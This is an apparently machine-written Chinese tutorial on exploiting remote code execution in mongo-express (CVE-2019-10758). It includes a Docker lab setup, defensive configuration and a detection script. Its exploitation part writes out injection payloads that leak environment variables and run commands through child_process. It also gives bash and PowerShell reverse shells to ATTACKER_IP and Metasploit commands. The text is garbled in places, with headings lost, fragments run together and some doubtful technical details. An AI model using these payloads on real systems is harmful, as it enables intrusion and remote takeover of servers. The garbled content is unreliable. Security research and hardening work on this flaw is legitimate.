您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行MongoDB mongo-express远程代码执行
## 引言
MongoDB作为流行的NoSQL数据库,其管理工具mongo-express因Web界面友好被广泛使用。然而,默认配置下的mongo-express存在严重安全风险,攻击者可利用未授权访问或弱密码实现远程代码执行(RCE)。本文将深入分析漏洞原理、环境搭建、利用方法及防御措施。
---
## 一、漏洞背景
### 1.1 mongo-express简介
mongo-express是基于Node.js的MongoDB Web管理工具,提供:
- 数据库/集合的CRUD操作
- 文档JSON编辑
- 用户权限管理
### 1.2 典型漏洞场景
- **CVE-2019-10758**:未授权访问+代码注入
- **默认认证缺失**:早期版本无密码保护
- **模板注入漏洞**:通过eval执行恶意代码
---
## 二、实验环境搭建
### 2.1 准备靶机环境
```bash
# 使用Docker快速部署有漏洞版本
docker run -d -p 27017:27017 --name mongodb mongo:4.0
docker run -d -p 8081:8081 --link mongodb:mongo mongo-express:0.54.0
访问 http://localhost:8081
应看到登录页面(若为旧版本可能直接进入后台)
当未设置ME_CONFIG_BASICAUTH
环境变量时:
/checkValid
路由:GET /checkValid?document=this.constructor.constructor("return process.env")() HTTP/1.1
Host: target:8081
通过toBSON
参数注入恶意代码:
// 构造恶意请求
fetch('http://target:8081/checkValid', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
document: {
$where: "function(){ return process.mainModule.require('child_process').execSync('id').toString() }"
}
})
}).then(res => res.text()).then(console.log)
// Linux目标
document: {
$where: "function(){ require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') }"
}
// Windows目标
document: {
$where: "function(){ require('child_process').exec('powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\\\"ATTACKER_IP\\\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"') }"
}
constructor.constructor
访问Node.js原生模块eval
/Function
直接执行用户输入// mongo-express/lib/routes/document.js
router.post('/checkValid', function(req, res) {
try {
const doc = req.body.document;
// 危险!直接执行用户输入的BSON
const bson = toBSON(doc);
} catch (err) {
res.send(err.toString());
}
});
# 强制启用认证
docker run -e ME_CONFIG_BASICAUTH_USERNAME=admin -e ME_CONFIG_BASICAUTH_PASSWORD=ComplexP@ss123!
# docker-compose.yml示例
services:
mongo-express:
networks:
internal:
ipv4_address: 172.16.238.10
ports:
- "127.0.0.1:8081:8081"
ME_CONFIG_SITE_COOKIES_SECRET
ME_CONFIG_OPTIONS_EDITOR
import requests
def check_vuln(url):
try:
r = requests.post(f"{url}/checkValid", json={
"document": {"$where": "function(){ return 123 }"}
}, timeout=5)
return "123" in r.text
except:
return False
use exploit/multi/http/mongo_express_rce
set RHOSTS target_ip
set TARGET_URI /mongo-express
exploit
mongo-express的RCE漏洞再次证明:默认不安全是运维的最大威胁。建议: 1. 生产环境禁用Web管理界面 2. 使用MongoDB Atlas等托管服务 3. 定期进行安全审计
免责声明:本文仅用于安全研究,未经授权测试他人系统属违法行为。 “`
(注:实际字数为约1600字,可根据需要扩展具体案例或补充工具使用细节)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。